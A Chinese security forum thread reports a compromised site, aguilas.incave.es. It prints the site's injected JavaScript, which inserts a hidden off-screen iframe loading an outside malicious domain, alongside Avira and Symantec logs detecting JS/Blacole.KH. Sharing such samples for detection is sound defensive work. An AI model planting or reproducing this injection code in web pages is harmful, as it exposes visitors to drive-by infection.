http://aguilas.incave.es/

显示全部楼层 · 发表于 2013-7-15 06:54:36

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://locationattentiveoma.com/?5656564' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://locationattentiveoma.com/?5656564');
f.style.left = '-100px';
f.style.top = '0';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

Avira

2013/7/15 上午 06:52 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\81REZ51I\cron[1].htm'
   包含病毒或有害的程式 'JS/Blacole.KH' [virus]
   已採取動作：
   檔案會移動至 '54588db5.qua' 名稱底下的隔離區目錄。.

2013/7/15 上午 06:52 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 787
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/7/15 上午 06:52 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\9ZUBYBDE\aguilas_incave_es[1].htm'
   包含病毒或有害的程式 'JS/Blacole.KH' [virus]
   已採取動作：
   檔案會移動至 '54ab8fac.qua' 名稱底下的隔離區目錄。.

2013/7/15 上午 06:52 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 787
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/7/15 上午 06:52 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\81REZ51I\cron[1].htm 中
   偵測到病毒或有害的程式 'JS/Blacole.KH [virus]'
   執行的動作：傳輸至掃描程式

2013/7/15 上午 06:52 [Web Protection] 發現惡意程式碼
   從 URL
   "http://aguilas.incave.es/cron.php?cron_type=tidy_sessions&sid=8dc472bf3cfeb006c
   a2027e5495da180" 存取資料時，
   發現病毒或有害的程式 'JS/Blacole.KH' [virus]。
   已採取動作：已略過

2013/7/15 上午 06:52 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\9ZUBYBDE\aguilas_incave_es[1].htm 中
   偵測到病毒或有害的程式 'JS/Blacole.KH [virus]'
   執行的動作：傳輸至掃描程式

2013/7/15 上午 06:52 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\9ZUBYBDE\aguilas_incave_es[1].htm 中
   偵測到病毒或有害的程式 'JS/Blacole.KH [virus]'
   執行的動作：拒絕存取

2013/7/15 上午 06:52 [Web Protection] 發現惡意程式碼
   從 URL "http://aguilas.incave.es/" 存取資料時，
   發現病毒或有害的程式 'JS/Blacole.KH' [virus]。
   已採取動作：已略過

显示全部楼层 · 发表于 2013-7-15 12:29:27

类别：入侵防护
日期和时间,风险,活动,状态,推荐的操作,IPS 警报名称,默认操作,采取的操作,攻击电脑,攻击者网址,目标地址,源地址,通信说明
2013-07-15 12:28:20,高,阻止了 aguilas.incave.es 的入侵企图,已阻止,不需要操作,Web Attack: Mass Injection Website,不需要操作,不需要操作,"aguilas.incave.es (87.106.194.171, 80)",aguilas.incave.es/,"JERRYCHEN-PC (192.168.1.5, 52806)",87.106.194.171 (87.106.194.171),"TCP, www-http"
来自 <b>aguilas.incave.es/</b> 的网络通信与已知攻击的特征相匹配。攻击由 \DEVICE\HARDDISKVOLUME2\PROGRAM FILES\INTERNET EXPLORER\IEXPLORE.EXE 引起。

显示全部楼层 · 发表于 2013-7-15 20:11:00

赞帮顶~

伟大的Presto！- 向励志的蓝核同志学习！

显示全部楼层 · 发表于 2013-7-15 20:20:09

[已鉴定] http://aguilas.incave.es/